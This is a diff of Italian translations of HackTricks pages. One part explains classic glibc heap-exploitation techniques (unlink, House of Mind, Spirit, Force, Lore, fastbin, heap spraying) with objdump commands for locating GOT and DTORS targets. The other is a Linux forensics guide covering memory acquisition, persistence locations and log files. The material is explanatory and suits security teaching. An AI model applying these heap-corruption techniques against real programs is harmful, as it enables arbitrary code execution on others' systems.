Così, il programma penserà che "a" sia libero e in un bin, quindi chiamerà unlink() per disconnetterlo. Tuttavia, poiché l'header PREV\_SIZE vale -4, penserà che il chunk "a" inizi effettivamente in b+4. In altre parole, eseguirà un unlink() su un chunk che inizia in b+4, quindi in b+12 ci sarà il puntatore "fd" e in b+16 ci sarà il puntatore "bk".
|
||||
|
||||
In questo modo, se mettiamo l'indirizzo dello shellcode in bk e l'indirizzo della funzione "puts()" -12 in fd, otteniamo il nostro payload.
|
||||
In questo modo, se mettiamo l'indirizzo della shellcode in bk e l'indirizzo della funzione "puts()" -12 in fd, otteniamo il nostro payload.
|
||||
|
||||
**Tecnica di Frontlink**
|
||||
|
||||
|
@ -703,23 +408,23 @@ Richiede:
|
|||
|
||||
Un buffer che può essere sovrascritto con la funzione di input dei dati
|
||||
|
||||
Un buffer adiacente a questo che deve essere rilasciato e il cui campo fd dell'intestazione verrà modificato grazie al buffer precedente
|
||||
Un buffer adiacente a questo che deve essere liberato e il cui campo fd dell'header verrà modificato grazie al buffer precedente
|
||||
|
||||
Un buffer da rilasciare con una dimensione maggiore di 512 ma inferiore al buffer precedente
|
||||
Un buffer da liberare con una dimensione maggiore di 512 ma inferiore al buffer precedente
|
||||
|
||||
Un buffer dichiarato prima del passaggio 3 che consente di sovrascrivere il prev\_size di questo
|
||||
|
||||
In questo modo, sovraimponendo in modo controllato su due mallocs e in modo incontrollato su uno, possiamo creare un exploit.
|
||||
In questo modo, sovrascrivendo due malloc in modo incontrollato e uno in modo controllato ma liberando solo quest'ultimo, possiamo creare un exploit.
|
||||
|
||||
**Vulnerabilità double free()**
|
||||
|
||||
Se free() viene chiamato due volte con lo stesso puntatore, ci saranno due bin che puntano allo stesso indirizzo.
|
||||
|
||||
Se si desidera riutilizzarne uno, non ci sono problemi. Se si desidera utilizzarne un altro, verrà assegnato lo stesso spazio, quindi i puntatori "fd" e "bk" saranno falsificati con i dati scritti dalla prenotazione precedente.
|
||||
Se si desidera riutilizzarne uno, non ci sono problemi. Se si desidera utilizzarne un altro, verrà assegnato lo stesso spazio, quindi avremo i puntatori "fd" e "bk" falsificati con i dati scritti dalla prenotazione precedente.
|
||||
|
||||
**After free()**
|
||||
|
||||
Un puntatore precedentemente rilasciato viene riutilizzato senza controllo.
|
||||
Un puntatore precedentemente liberato viene riutilizzato senza controllo.
|
||||
|
||||
## **8 Heap Overflows: Exploits avanzati**
|
||||
|
||||
|
@ -727,7 +432,7 @@ Le tecniche di Unlink() e FrontLink() sono state eliminate modificando la funzio
|
|||
|
||||
**The house of mind**
|
||||
|
||||
È necessaria solo una chiamata a free() per eseguire del codice arbitrario. È importante trovare un secondo chunk che può essere sovrascritto da uno precedente e rilasciato.
|
||||
È necessaria solo una chiamata a free() per eseguire del codice arbitrario. È importante trovare un secondo chunk che può essere sovrascritto da uno precedente e liberato.
|
||||
|
||||
Una chiamata a free() comporta una chiamata a public\_fREe(mem), che fa:
|
||||
|
||||
|
@ -741,7 +446,7 @@ p = mem2chunk(mes); —> Restituisce un puntatore all'indirizzo in cui inizia il
|
|||
|
||||
…
|
||||
|
||||
ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||||
|
||||
…
|
||||
|
||||
|
@ -749,9 +454,9 @@ ar\_ptr = arena\_for_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(
|
|||
|
||||
}
|
||||
|
||||
In \[1] controlla il campo size del bit NON\_MAIN\_ARENA, che può essere alterato in modo che il controllo restituisca true ed esegua heap\_for\_ptr() che effettua un and a "mem" ponendo a 0 i 2,5 byte meno significativi (nel nostro caso da 0x0804a000 diventa 0x08000000) e accede a 0x08000000->ar\_ptr (come se fosse una struct heap\_info)
|
||||
In \[1] controlla il campo size del bit NON\_MAIN\_ARENA, che può essere alterato in modo che il controllo restituisca true ed esegua heap\_for\_ptr() che effettua un and a "mem" azzerando i 2,5 byte meno significativi (nel nostro caso da 0x0804a000 a 0x08000000) e accede a 0x08000000->ar\_ptr (come se fosse una struct heap\_info)
|
||||
|
||||
In questo modo, se possiamo controllare un chunk ad esempio in 0x0804a000 e verrà rilasciato un chunk in **0x081002a0** possiamo raggiungere l'indirizzo 0x08100000 e scrivere ciò che vogliamo, ad esempio **0x0804a000**. Quando verrà rilasciato questo secondo chunk, troverà che heap\_for\_ptr(ptr)->ar\_ptr restituirà ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si ottiene il valore dei primi 4 byte, ar\_ptr)
|
||||
In questo modo, se possiamo controllare un chunk ad esempio in 0x0804a000 e verrà liberato un chunk in **0x081002a0** possiamo raggiungere l'indirizzo 0x08100000 e scrivere ciò che vogliamo, ad esempio **0x0804a000**. Quando verrà liberato questo secondo chunk, troverà che heap\_for\_ptr(ptr)->ar\_ptr restituirà ciò che abbiamo scritto in 0x08100000 (poiché si applica a 0x081002a0 l'and che abbiamo visto prima e da lì si ottiene il valore dei primi 4 byte, ar\_ptr)
|
||||
|
||||
Quindi viene chiamato \_int\_free(ar\_ptr, mem), cioè **\_int\_free(0x0804a000, 0x081002a0)**\
|
||||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
|
@ -765,33 +470,33 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
Come abbiamo visto prima, possiamo controllare il valore di av, poiché è ciò che scriviamo nel chunk che verrà rilasciato.
|
||||
Come abbiamo visto prima, possiamo controllare il valore di av, poiché è ciò che scriviamo nel chunk che verrà liberato.
|
||||
|
||||
Come è definito unsorted\_chunks, sappiamo che:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
Pertanto, se scriviamo il valore di \_\_DTOR\_END\_\_-12 in av->bins\[2] nell'ultima istruzione, verrà scritto in \_\_DTOR\_END\_\_ l'indirizzo del secondo chunk.
|
||||
Pertanto, se scriviamo il valore di \_\_DTOR\_END\_\_-12 in av->bins\[2], nell'ultima istruzione verrà scritto in \_\_DTOR\_END\_\_ l'indirizzo del secondo chunk.
|
||||
|
||||
In altre parole, nel primo chunk dobbiamo inserire all'inizio molte volte l'indirizzo di \_\_DTOR\_END\_\_-12 perché da lì av->bins\[2] lo prenderà.
|
||||
In altre parole, nel primo chunk dobbiamo inserire all'inizio molte volte l'indirizzo di \_\_DTOR\_END\_\_-12 perché av->bins\[2\] lo prenderà da lì
|
||||
|
||||
Nell'indirizzo in cui cade l'indirizzo del secondo chunk con gli ultimi 5 zeri, dobbiamo scrivere l'indirizzo di questo primo chunk in modo che heap\_for\_ptr() pensi che ar\_ptr sia all'inizio del primo chunk e prenda av->bins\[2] da lì.
|
||||
Nell'indirizzo in cui cade l'indirizzo del secondo chunk con gli ultimi 5 zeri, dobbiamo scrivere l'indirizzo di questo primo chunk in modo che heap\_for\_ptr() pensi che ar\_ptr sia all'inizio del primo chunk e prenda av->bins\[2\]
|
||||
|
||||
Nel secondo chunk e grazie al primo sovraimpostiamo il prev\_size con un salto 0x0c e il size con qualcosa per attivare -> NON\_MAIN\_ARENA
|
||||
Nel secondo chunk e grazie al primo sovrascriviamo il prev\_size con un salto 0x0c e il size con qualcosa per attivare -> NON\_MAIN\_ARENA
|
||||
|
||||
Successivamente, nel secondo chunk inseriamo molti nops e infine lo shellcode
|
||||
Successivamente, nel chunk 2 inseriamo molti nops e infine la shellcode
|
||||
|
||||
In questo modo verrà chiamato \_int\_free(CHUNK1, CHUNK2) e seguirà le istruzioni per scrivere in \_\_DTOR\_END\_\_ l'indirizzo del prev\_size di CHUNK2 che salterà allo shellcode.
|
||||
In questo modo verrà chiamato \_int\_free(CHUNK1, CHUNK2) e seguirà le istruzioni per scrivere in \_\_DTOR\_END\_\_ l'indirizzo del prev\_size del CHUNK2 che salterà alla shellcode.
|
||||
Per applicare questa tecnica sono necessari alcuni requisiti che complicano un po' il payload.
|
||||
|
||||
Per applicare questa tecnica, sono necessari alcuni requisiti aggiuntivi che complicano un po' il payload.
|
||||
Questa tecnica non è più applicabile poiché è stato applicato quasi lo stesso patch di unlink. Si confrontano se il nuovo sito a cui si punta sta puntando anche a lui.
|
||||
|
||||
**Fastbin**
|
||||
|
||||
È una variante di The house of mind
|
||||
|
||||
ci interessa eseguire il seguente codice che si raggiunge dopo la prima verifica della funzione \_int\_free()
|
||||
ci interessa eseguire il codice successivo che si raggiunge dopo la prima verifica della funzione \_int\_free()
|
||||
|
||||
fb = &(av->fastbins\[fastbin\_index(size)] —> Essendo fastbin\_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
|
@ -805,7 +510,7 @@ In questo modo, se viene messo in "fb" dà l'indirizzo di una funzione nella GOT
|
|||
|
||||
Poiché con The House of Mind abbiamo visto che controllavamo la posizione di av.
|
||||
|
||||
Quindi se nel campo size mettiamo una dimensione di 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() ci restituirà fastbins\[-1], che punterà a av->max\_fast
|
||||
Quindi se nel campo size viene inserita una dimensione di 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() restituirà fastbins\[-1\], che punterà a av->max\_fast
|
||||
|
||||
In questo caso av->max\_fast sarà l'indirizzo sovrascritto (non a cui punta, ma quella posizione sarà sovrascritta).
|
||||
|
||||
|
@ -817,15 +522,15 @@ A causa dei nulli di \_DTOR\_END\_ e delle poche direzioni nella GOT, nessuna di
|
|||
|
||||
Un altro modo per attaccare è di reindirizzare il **av** verso lo stack.
|
||||
|
||||
Se modifichiamo la dimensione in modo che sia 16 invece di 8 allora: fastbin\_index() ci restituirà fastbins\[0] e possiamo usare questo per sovrascrivere lo stack.
|
||||
Se modifichiamo la dimensione in modo che sia 16 invece di 8 allora: fastbin\_index() restituirà fastbins\[0\] e possiamo fare uso di questo per sovrascrivere lo stack.
|
||||
|
||||
Per fare ciò non deve esserci alcun canary o valori strani nello stack, infatti dobbiamo trovarci in questo: 4byte nulli + EBP + RET
|
||||
|
||||
I 4 byte nulli sono necessari affinché **av** sarà a questo indirizzo e il primo elemento di un **av** è il mutex che deve valere 0.
|
||||
I 4 byte nulli sono necessari affinché il **av** sia a questo indirizzo e il primo elemento di un **av** è il mutex che deve valere 0.
|
||||
|
||||
Il **av->max\_fast** sarà l'EBP e sarà un valore che ci permetterà di saltare le restrizioni.
|
||||
|
||||
Nel **av->fastbins\[0]** verrà sovrascritto con l'indirizzo di **p** e sarà il RET, così si salterà alla shellcode.
|
||||
Nel **av->fastbins\[0\]** verrà sovrascritto con l'indirizzo di **p** e sarà il RET, in questo modo si salterà alla shellcode.
|
||||
|
||||
Inoltre, in **av->system\_mem** (1484 byte sopra la posizione nello stack) ci sarà abbastanza spazzatura che ci permetterà di saltare il controllo che viene eseguito.
|
||||
|
||||
|
@ -833,15 +538,15 @@ Inoltre, deve essere soddisfatto che il pezzo adiacente a quello liberato deve e
|
|||
|
||||
**The House of Spirit**
|
||||
|
||||
In questo caso cerchiamo di avere un puntatore a un malloc che possa essere modificato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto a un possibile overflow a una variabile).
|
||||
In questo caso cerchiamo di avere un puntatore a un malloc che possa essere modificato dall'attaccante (ad esempio, che il puntatore sia nello stack sotto un possibile overflow a una variabile).
|
||||
|
||||
Quindi, potremmo fare in modo che questo puntatore punti dove vogliamo. Tuttavia, non tutti i siti sono validi, la dimensione del pezzo falso deve essere minore di av->max\_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Pertanto, se sappiamo che dopo questo puntatore vulnerabile viene chiamato malloc(40), la dimensione del pezzo falso deve essere uguale a 48.
|
||||
In questo modo, potremmo fare in modo che questo puntatore punti ovunque. Tuttavia, non qualsiasi posizione è valida, la dimensione del pezzo falso deve essere minore di av->max\_fast e più specificamente uguale alla dimensione richiesta in una futura chiamata a malloc()+8. Pertanto, se sappiamo che dopo questo puntatore vulnerabile viene chiamato malloc(40), la dimensione del pezzo falso deve essere uguale a 48.
|
||||
|
||||
Se ad esempio il programma chiedesse all'utente un numero potremmo inserire 48 e puntare il puntatore di malloc modificabile ai successivi 4 byte (che potrebbero appartenere all'EBP con fortuna, così il 48 rimane dietro, come se fosse l'intestazione size). Inoltre, l'indirizzo ptr-4+48 deve soddisfare diverse condizioni (essendo in questo caso ptr=EBP), cioè, 8 < ptr-4+48 < av->system\_mem.
|
||||
|
||||
Nel caso in cui ciò si verifichi, quando viene chiamato il successivo malloc che abbiamo detto che era malloc(40) gli verrà assegnato come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare cosa viene scritto in questo malloc può sovrascrivere sia l'EBP che l'EIP con l'indirizzo che desidera.
|
||||
Nel caso in cui ciò si verifichi, quando viene chiamato il successivo malloc che abbiamo detto essere malloc(40), verrà assegnato come indirizzo l'indirizzo dell'EBP. Nel caso in cui l'attaccante possa anche controllare ciò che viene scritto in questo malloc, può sovrascrivere sia l'EBP che l'EIP con l'indirizzo desiderato.
|
||||
|
||||
Penso che ciò sia perché quando verrà liberato free() salverà che nell'indirizzo che punta all'EBP dello stack c'è un pezzo di dimensioni perfette per il nuovo malloc() che si desidera riservare, quindi gli assegna quell'indirizzo.
|
||||
Penso che ciò sia dovuto al fatto che quando viene liberato free() memorizzerà che nell'indirizzo che punta all'EBP dello stack c'è un pezzo di dimensioni perfette per il nuovo malloc() che si desidera riservare, quindi assegnerà quell'indirizzo.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
|
@ -867,9 +572,9 @@ La vittima raccoglie il valore dell'indirizzo del pezzo wilderness attuale (l'at
|
|||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
Quindi verrà salvato in av->top il valore modificato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo.
|
||||
Quindi verrà salvato in av->top il valore alterato e il prossimo malloc punterà all'EIP e potrà sovrascriverlo.
|
||||
|
||||
È importante sapere che la dimensione del nuovo pezzo wilderness sia più grande della richiesta fatta dall'ultimo malloc(). Cioè, se il wilderness punta a \&EIP-8, la dimensione finirà esattamente nel campo EBP dello stack.
|
||||
È importante sapere che la dimensione del nuovo pezzo wilderness sia più grande della richiesta fatta dall'ultimo malloc(). Cioè, se il wilderness punta a \&EIP-8, la dimensione sarà esattamente nel campo EBP dello stack.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
|
@ -879,7 +584,7 @@ I pezzi liberati vengono inseriti nel bin in base alla loro dimensione. Ma prima
|
|||
|
||||
Per raggiungere il codice vulnerabile, la richiesta di memoria deve essere maggiore di av->max\_fast (di solito 72) e inferiore a MIN\_LARGE\_SIZE (512).
|
||||
|
||||
Se nel bin c'è un pezzo della dimensione corretta rispetto a ciò che viene richiesto, viene restituito dopo essere stato scollegato:
|
||||
Se nel bin c'è un pezzo della dimensione adeguata a ciò che viene richiesto, viene restituito dopo essere stato scollegato:
|
||||
|
||||
bck = vittima->bk; Puntatore al pezzo precedente, è l'unica informazione che possiamo alterare.
|
||||
|
||||
|
@ -900,8 +605,45 @@ Inoltre è stato introdotto un patch per rendere l'attacco ancora più complicat
|
|||
|
||||
**Heap Spraying**
|
||||
|
||||
Fondamentalmente consiste nel prenotare il maggior numero possibile di heap e riempirli con un tappetino di nops seguito da una shellcode. Inoltre, come tappetino si utilizza 0x0c. Si cercherà di saltare all'indirizzo 0x0c0c0c0c, quindi se si sovrascrive un indirizzo a cui verrà chiamato questo tappetino, si salterà lì. Fondamentalmente la tattica è prenotare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c sperando che ci siano nops lì.
|
||||
Fondamentalmente consiste nel prenotare tutta la memoria possibile per gli heap e riempirli con un tappetino di nops seguito da una shellcode. Inoltre, come tappetino si utilizza 0x0c. Si cercherà di saltare all'indirizzo 0x0c0c0c0c, quindi se si sovrascrive un indirizzo a cui verrà chiamato questo tappetino, si salterà lì. Fondamentalmente la tattica è prenotare il massimo possibile per vedere se si sovrascrive qualche puntatore e saltare a 0x0c0c0c0c sperando che ci siano nops lì.
|
||||
|
||||
**Heap Feng Shui**
|
||||
|
||||
Consiste nel cementare la memoria mediante prenotazioni e liberazioni in modo che ci siano chunk prenotati tra chunk liberi. Il buffer da sforzare sarà situato in uno di questi chunk.
|
||||
Consiste nel cementare la memoria mediante prenotazioni e liberazioni in modo che ci siano chunk prenotati tra chunk liberi. Il buffer da traboccare sarà in uno di questi chunk.
|
||||
|
||||
**objdump -d eseguibile** —> Disas funzioni\
|
||||
**objdump -d ./PROGRAMMA | grep FUNZIONE** —> Ottieni l'indirizzo della funzione\
|
||||
**objdump -d -Mintel ./shellcodeout** —> Per verificare che sia effettivamente la nostra shellcode e ottenere gli OpCodes\
|
||||
**objdump -t ./exec | grep varBss** —> Tabella dei simboli, per ottenere l'indirizzo delle variabili e delle funzioni\
|
||||
**objdump -TR ./exec | grep exit(func lib)** —> Per ottenere l'indirizzo delle funzioni delle librerie (GOT)\
|
||||
**objdump -d ./exec | grep codiceFunzione**\
|
||||
**objdump -s -j .dtors /exec**\
|
||||
**objdump -s -j .got ./exec**\
|
||||
**objdump -t --dynamic-relo ./exec | grep puts** —> Ottiene l'indirizzo di puts da sovrascrivere nella GOT\
|
||||
**objdump -D ./exec** —> Disas TUTTO fino agli ingressi della plt\
|
||||
**objdump -p -/exec**\
|
||||
**Info functions strncmp —>** Info sulla funzione in gdb
|
||||
|
||||
## Corsi interessanti
|
||||
|
||||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||||
|
||||
## **Riferimenti**
|
||||
|
||||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# Analisi Forense di Linux
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Altri modi per supportare HackTricks:
|
||||
|
||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
@ -26,7 +26,7 @@ Altri modi per supportare HackTricks:
|
|||
|
||||
### Informazioni di Base
|
||||
|
||||
Prima di tutto, è consigliabile avere una **USB** con **binari e librerie noti e validi** (puoi semplicemente prendere Ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib_ e _/lib64_), quindi montare la USB e modificare le variabili d'ambiente per utilizzare quei binari:
|
||||
Prima di tutto, è consigliabile avere una **chiavetta USB** con **binari e librerie ben noti** (puoi semplicemente prendere ubuntu e copiare le cartelle _/bin_, _/sbin_, _/lib_ e _/lib64_), quindi montare la chiavetta USB e modificare le variabili d'ambiente per utilizzare quei binari:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
|
@ -75,7 +75,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
|||
LiME supporta 3 **formati**:
|
||||
|
||||
* Raw (ogni segmento concatenato insieme)
|
||||
* Padded (come raw, ma con zeri negli ultimi bit)
|
||||
* Padded (come raw, ma con zeri nei bit destri)
|
||||
* Lime (formato consigliato con metadati)
|
||||
|
||||
LiME può anche essere utilizzato per **inviare il dump tramite rete** anziché memorizzarlo sul sistema utilizzando qualcosa come: `path=tcp:4444`
|
||||
|
@ -153,15 +153,15 @@ r/r 16: secret.txt
|
|||
icat -i raw -f ext4 disk.img 16
|
||||
ThisisTheMasterSecret
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
|
||||
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community più avanzati al mondo.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Ricerca di Malware conosciuti
|
||||
## Ricerca di Malware Conosciuti
|
||||
|
||||
### File di Sistema Modificati
|
||||
|
||||
|
@ -180,7 +180,7 @@ Leggi la seguente pagina per scoprire gli strumenti che possono essere utili per
|
|||
|
||||
## Ricerca dei programmi installati
|
||||
|
||||
Per cercare efficacemente i programmi installati su sistemi Debian e RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali nelle directory comuni.
|
||||
Per cercare efficacemente i programmi installati sia nei sistemi Debian che RedHat, considera di sfruttare i log di sistema e i database insieme a controlli manuali nelle directory comuni.
|
||||
|
||||
* Per Debian, ispeziona _**`/var/lib/dpkg/status`**_ e _**`/var/log/dpkg.log`**_ per ottenere dettagli sull'installazione dei pacchetti, utilizzando `grep` per filtrare informazioni specifiche.
|
||||
* Gli utenti RedHat possono interrogare il database RPM con `rpm -qa --root=/mntpath/var/lib/rpm` per elencare i pacchetti installati.
|
||||
|
@ -201,10 +201,10 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
|||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
|
||||
Ottieni l'accesso oggi:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -239,7 +239,7 @@ Percorsi in cui un malware potrebbe essere installato come servizio:
|
|||
|
||||
- **/etc/inittab**: Chiama gli script di inizializzazione come rc.sysinit, indirizzando ulteriormente agli script di avvio.
|
||||
- **/etc/rc.d/** e **/etc/rc.boot/**: Contengono script per l'avvio dei servizi, quest'ultimo trovato nelle versioni più vecchie di Linux.
|
||||
- **/etc/init.d/**: Usato in certe versioni di Linux come Debian per memorizzare gli script di avvio.
|
||||
- **/etc/init.d/**: Usato in alcune versioni di Linux come Debian per memorizzare gli script di avvio.
|
||||
- I servizi possono anche essere attivati tramite **/etc/inetd.conf** o **/etc/xinetd/**, a seconda della variante di Linux.
|
||||
- **/etc/systemd/system**: Una directory per gli script del sistema e del gestore dei servizi.
|
||||
- **/etc/systemd/system/multi-user.target.wants/**: Contiene collegamenti ai servizi che dovrebbero essere avviati in un runlevel multiutente.
|
||||
|
@ -271,16 +271,16 @@ I sistemi Linux tengono traccia delle attività degli utenti e degli eventi di s
|
|||
- **/var/log/auth.log** (Debian) o **/var/log/secure** (RedHat): Registrano tentativi di autenticazione, accessi riusciti e falliti.
|
||||
- Usare `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` per filtrare eventi di autenticazione rilevanti.
|
||||
- **/var/log/boot.log**: Contiene messaggi di avvio del sistema.
|
||||
- **/var/log/maillog** o **/var/log/mail.log**: Registri delle attività del server di posta elettronica, utili per tracciare servizi correlati alla posta elettronica.
|
||||
- **/var/log/maillog** o **/var/log/mail.log**: Registri delle attività del server di posta elettronica, utili per il tracciamento dei servizi relativi alla posta elettronica.
|
||||
- **/var/log/kern.log**: Memorizza messaggi del kernel, inclusi errori e avvisi.
|
||||
- **/var/log/dmesg**: Contiene messaggi dei driver di dispositivo.
|
||||
- **/var/log/faillog**: Registra tentativi di accesso falliti, aiutando nelle indagini sulle violazioni di sicurezza.
|
||||
- **/var/log/cron**: Registra l'esecuzione dei job cron.
|
||||
- **/var/log/dmesg**: Contiene messaggi dei driver del dispositivo.
|
||||
- **/var/log/faillog**: Registra tentativi di accesso falliti, utili nelle indagini di violazioni di sicurezza.
|
||||
- **/var/log/cron**: Registra le esecuzioni dei job cron.
|
||||
- **/var/log/daemon.log**: Traccia le attività dei servizi in background.
|
||||
- **/var/log/btmp**: Documenta tentativi di accesso falliti.
|
||||
- **/var/log/httpd/**: Contiene log degli errori e degli accessi di Apache HTTPD.
|
||||
- **/var/log/btmp**: Documenta i tentativi di accesso falliti.
|
||||
- **/var/log/httpd/**: Contiene i log degli errori e degli accessi di Apache HTTPD.
|
||||
- **/var/log/mysqld.log** o **/var/log/mysql.log**: Registri delle attività del database MySQL.
|
||||
- **/var/log/xferlog**: Registra trasferimenti di file FTP.
|
||||
- **/var/log/xferlog**: Registra i trasferimenti di file FTP.
|
||||
- **/var/log/**: Controllare sempre i log inaspettati qui.
|
||||
|
||||
{% hint style="info" %}
|
||||
|
@ -297,10 +297,10 @@ I log di sistema e i sottosistemi di audit di Linux possono essere disabilitati
|
|||
|
||||
Inoltre, il comando `last -Faiwx` fornisce un elenco dei login degli utenti. Controllalo per login sconosciuti o inaspettati.
|
||||
|
||||
Controllare i file che possono concedere privilegi aggiuntivi:
|
||||
Controlla i file che possono concedere privilegi aggiuntivi:
|
||||
|
||||
